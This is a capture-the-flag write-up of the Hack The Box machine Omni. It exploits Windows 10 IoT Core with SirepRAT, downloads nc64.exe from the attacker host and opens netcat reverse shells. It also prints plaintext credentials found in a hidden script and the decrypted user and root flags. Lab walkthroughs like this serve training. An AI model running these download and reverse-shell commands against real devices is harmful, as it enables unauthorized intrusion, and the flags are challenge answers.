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In this post, I’m writing a write-up for the machine Omni from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Omni is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
The operating system of this box is shown as ‘Other’. As this is a Windows 10 IoT Core box, in my humble opinion, the operating system has to be ‘Windows’. Why Hack The Box, in their wisdom, decided to refer to the machine operating system as ‘Other’, is a mystery to me.
The initial port scan shows me two open ports. After I got directly stuck, I have run again a port scan with the ‘-p-‘ parameter and it shows me three unknown ports. The alternate HTTP port 8080 shows the name ‘Windows Device Portal’ and asks for credentials. With this information, I found that this is a Windows 10 IoT Core Device. Through searching on Google, I found that this version of Windows 10 IoT Core is vulnerable and with the SirepRAT, I could gain a foothold on this device.
After (long) manual enumeration I found a hidden file with credentials. With the credentials of the user account ‘app’, I was able to authenticate against the Windows Device Portal. From the portal, I was able to establish a Reverse Shell to my machine and read the user.txt file, which contains a decrypted user-flag. Through Powershell, I was able to decrypt this flag.
The privilege escalation part was very simple, just a duplicate from the user part. Logged in through the Windows Device Portal, establish a Reverse Shell and decrypt the root-flag and submit. Rather simple.
|Release Date:||22 Aug 2020|
As always, I start this box with a port scan, with Nmap. The initial port scan shows me two open ports. After getting stuck on the foothold, I’ve ran again a portscan with the -p- flag.
1 nmap -p- -sC -sV -oA ./nmap/10.10.10.204 10.10.10.204
The result of the port scan.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-11 19:44 CEST Nmap scan report for 10.10.10.204 Host is up (0.042s latency). Not shown: 65529 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 5985/tcp open upnp Microsoft IIS httpd 8080/tcp open upnp Microsoft IIS httpd | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Windows Device Portal |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Site doesn't have a title. 29817/tcp open unknown 29819/tcp open arcserve ARCserve Discovery 29820/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port29820-TCP:V=7.80%I=7%D=9/11%Time=5F5BB850%P=x86_64-apple-darwin19.0 SF:.0%r(NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLine SF:s,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\x SF:fb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m SF:\x1c\xc9}\xc8O\x12"); Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 291.82 seconds
That the operating system is not specified by Hack The Box, I have not seen before. Maybe this machine has something exotic? The Nmap detects a Microsoft Windows operating system with five open ports.
Microsoft Windows RPC This protocol is developed to provide a transparent communication so that the clients could directly communicate with the servers.
Microsoft IIS httpd This machine is acting as a web server on port 8080/tcp. The HTTP header is returning ‘Microsoft-HTTPAPI/2.0’. From my knowledge; this web service calling the HTTP.sys, not IIS. Furthermore, the Basic realm is showing ‘Windows Device Portal’, I think this is an IoT (Internet of Things) device. Because the Windows Device Portal (WDP) lets you configure and manage your device remotely over your local network.
Other 3 unknown ports I do not recognize these ports, I check this in the enumeration phase.
Let’s start the enumeration of the unknown open ports. After some Google searching, I found this forum article, in the Windows IoT forums: https://social.msdn.microsoft.com/Forums/en-US/75314423-de13-4eff-bd15-0fec8b9c1da4/ports-open?forum=WindowsIoT. These protocols are being used for IP over USB.
The banner says
ARCserve ARCserve Discovery. But, from the forum article explanation, I found
WPConTCPPing, I think the forum got’s right. Because, when I make a telnet session to this port, I’m getting the answer ‘PING’ back.
1 2 3 4 5 ~$ telnet 10.10.10.204 29819 Trying 10.10.10.204... Connected to 10.10.10.204. Escape character is '^]'. PING
I have searched a lot on Google but cannot find anything useful to exploit this service, right now. Let’s jump to the web service. Enumerate Web Server
Let’s first try to make a connection to this web service and let’s see what happens. I visited this URL:
http://10.10.10.204 and an authentication pop-up slam me in the face.
I got no credentials. A Google search on
Windows Device Portal, provides me with some information from this webpage: Windows Device Portal. This is related to Windows 10 IoT Core. Default the port 8080 means that Development mode (Dev) is enabled from default. The default credentials
[email protected], are not working.
With this information, I can start enumerating on this Windows IoT Core operating system. I start on Google searching for exploits related to Windows 10 IoT Core. I found that the security researcher Dor Azouri, from SafeBreach had discovered a vulnerability that impacts the Sirep/WPCon communications protocol included with Windows 10 IoT operating system. ZDNet had written a blog article about it back in March 2019: New exploit lets attackers take control of Windows IoT Core devices.
SafeBreach-Labs have released SirepRAT for a Remote Code Execution (RCE) as
SYSTEM on Windows 10 IoT Core. I have cloned this repository.
As I read this repo closely, I could root this box immediately by dumping the SAM and copying the
SYSTEM registry files. This RAT is executing as
SYSTEM. But, IMO that’s not the intended way, so I proceed.
1 2 3 4 5 6 7 8 ~$ git clone https://github.com/SafeBreach-Labs/SirepRAT Password: Cloning into 'SirepRAT'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (3/3), done. remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 61 Unpacking objects: 100% (64/64), 5.58 MiB | 1.67 MiB/s, done.
Before I can get this exploit working on my Macbook Pro, I need to install the Python library
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ~$ easy_install hexdump Searching for hexdump Reading https://pypi.org/simple/hexdump/ Downloading https://files.pythonhosted.org/packages/55/b3/279b1d57fa3681725d0db8820405cdcb4e62a9239c205e4ceac4391c78e4/hexdump-3.3.zip#sha256=d781a43b0c16ace3f9366aade73e8ad3a7bd5137d58f0b45ab2d3f54876f20db Best match: hexdump 3.3 Processing hexdump-3.3.zip Writing /tmp/easy_install-iaZ7GV/setup.cfg Running setup.py -q bdist_egg --dist-dir /tmp/easy_install-iaZ7GV/egg-dist-tmp-4m2EP4 zip_safe flag not set; analyzing archive contents... Copying hexdump-3.3-py2.7.egg to /Library/Python/2.7/site-packages Adding hexdump 3.3 to easy-install.pth file Installed /Library/Python/2.7/site-packages/hexdump-3.3-py2.7.egg Processing dependencies for hexdump Finished processing dependencies for hexdump
I can now start with
SirepRAT. I got various commands at my disposel. I start first by checking which account is currerently logged on.
1 2 3 4 ~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo " <HResultResult | type: 1, payload length: 4, HResult: 0x0> <OutputStreamResult | type: 11, payload length: 30, payload peek: 'C:\Data\Users\DefaultAccount'> <ErrorStreamResult | type: 12, payload length: 4, payload peek: ''>
This script is working and I have verified that this Windows 10 IoT Core device is vulnerable. The current logged on account is
DefaultAccount. The next step is to establish a reverse shell from this device to my machine. This script is able to run arbitrary programs. So, I can start Powershell to establish a Reverse Shell.
I had first tried to establish a reverse shell with my favorite script:
PowerCat. I was able to drop the script, but the won’t loading. That’s why I switched to
nc64.exe. I dropped that file on the device.
1 2 ~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell Invoke-Webrequest -OutFile C:\\Data\\Users\\DefaultAccount\\nc64.exe -Uri http://10.10.14.14/nc64.exe" --v <HResultResult | type: 1, payload length: 4, HResult: 0x0>
Command worked! I have now dropped the file on the device. let’s start the reverse shell.
1 ~$ python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.14.14 4444 -e powershell.exe" --v
Got a reverse shell.
1 2 3 4 5 ~$ netcat -lvvp 4444 Listening on any address 4444 (krb524) Connection from 10.10.10.204:49672 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
I found an encrypted
user.txt on the Users’ profile of the user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\data\users\app> cat user.txt cat user.txt <Objs Version="22.214.171.124" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">flag</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS> </Props> </Obj> </Objs> PS C:\data\users\app>
I have never seen this before on Hack The Box, but cool! I love new things. This is a XML generated password. The username, as I notice from the file, is not encrypted. It’s not easy to decrypt this. Let’s check this box further. I downloaded the script
PowerEnum.ps1 to this box, but I found nothing interesting.
After a long time manual searching for files, I found a hidden file named
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> gci -hidden gci -hidden Directory: C:\Program Files\WindowsPowershell\Modules\PackageManagement Mode LastWriteTime Length Name ---- ------------- ------ ---- -a-h-- 8/21/2020 12:56 PM 247 r.bat PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> gc r.bat gc r.bat @echo off :LOOP for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete net user app mesh5143 net user administrator _1nt3rn37ofTh1nGz ping -n 3 127.0.0.1 cls GOTO :LOOP :EXIT PS C:\Program Files\WindowsPowershell\Modules\PackageManagement> This script contains credentials of two useraccounts. I saved this credentials in a text file. credentials.txt app:mesh5143 administrator:_1nt3rn37ofTh1nGz Lateral Movement Reverse Shell as app
With the credentials from the useraccount
app, I’am able to login through the Windows Device Portal on
Through Processes and then Run Command, I have established a Reverse Shell as
app to my machine. I was not able to access
C:\Data\Users\DefaultAccount\nc64.exe from the Windows Device Portal. Thus, I have copied the
nc64.exe file to
C:\.enum and launched the reverse shell.
On my machine, I see the incoming connection and I have now an reverse shell as app.
1 2 3 4 5 6 7 8 9 10 ~$ netcat -lvvp 5555 Listening on any address 5555 (personal-agent) Connection from 10.10.10.204:49676 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\windows\system32> $env:username $env:username app PS C:\windows\system32>
After some more enumeration, I’m stuck. So, I headed back to the
user.txt file. I need to decrypt the password. And, this is possible.
1 2 3 4 5 6 PS C:\data\users\app> $credential = Import-CliXml -Path C:\Data\Users\app\user.txt $credential = Import-CliXml -Path C:\Data\Users\app\user.txt PS C:\data\users\app> $credential.GetNetworkCredential().Password $credential.GetNetworkCredential().Password 7cfd50f6bc34db3204898f1505ad9d70 PS C:\data\users\app>
Submitted the flag, and I have got user. The next phase: Privilege Escalation.
I also got the credentials from the user
Administrator. I have logged on with this account on the
Windows Device Portal and I have established again a reverse shell from the Run Command menu option.
1 2 3 4 5 6 7 8 9 10 $ netcat -lvvp 6666 Listening on any address 6666 Connection from 10.10.10.204:49677 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\windows\system32> $env:username $env:username Administrator PS C:\windows\system32>
I got the shell as
Administrator. And, again an encrypted password.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\data\users\administrator> cat root.txt cat root.txt <Objs Version="126.96.36.199" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">flag</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000011d9a9af9398c648be30a7dd764d1f3a000000000200000000001066000000010000200000004f4016524600b3914d83c0f88322cbed77ed3e3477dfdc9df1a2a5822021439b000000000e8000000002000020000000dd198d09b343e3b6fcb9900b77eb64372126aea207594bbe5bb76bf6ac5b57f4500000002e94c4a2d8f0079b37b33a75c6ca83efadabe077816aa2221ff887feb2aa08500f3cf8d8c5b445ba2815c5e9424926fca73fb4462a6a706406e3fc0d148b798c71052fc82db4c4be29ca8f78f0233464400000008537cfaacb6f689ea353aa5b44592cd4963acbf5c2418c31a49bb5c0e76fcc3692adc330a85e8d8d856b62f35d8692437c2f1b40ebbf5971cd260f738dada1a7</SS> </Props> </Obj> </Objs> PS C:\data\users\administrator>
I can decrypt this password by using the same method.
1 2 3 4 5 6 PS C:\data\users\administrator> $credential = Import-CliXml -Path C:\Data\Users\administrator\root.txt $credential = Import-CliXml -Path C:\Data\Users\administrator\root.txt PS C:\data\users\administrator> $credential.GetNetworkCredential().Password $credential.GetNetworkCredential().Password 5dbdce5569e2c4708617c0ce6e9bf11d PS C:\data\users\administrator>
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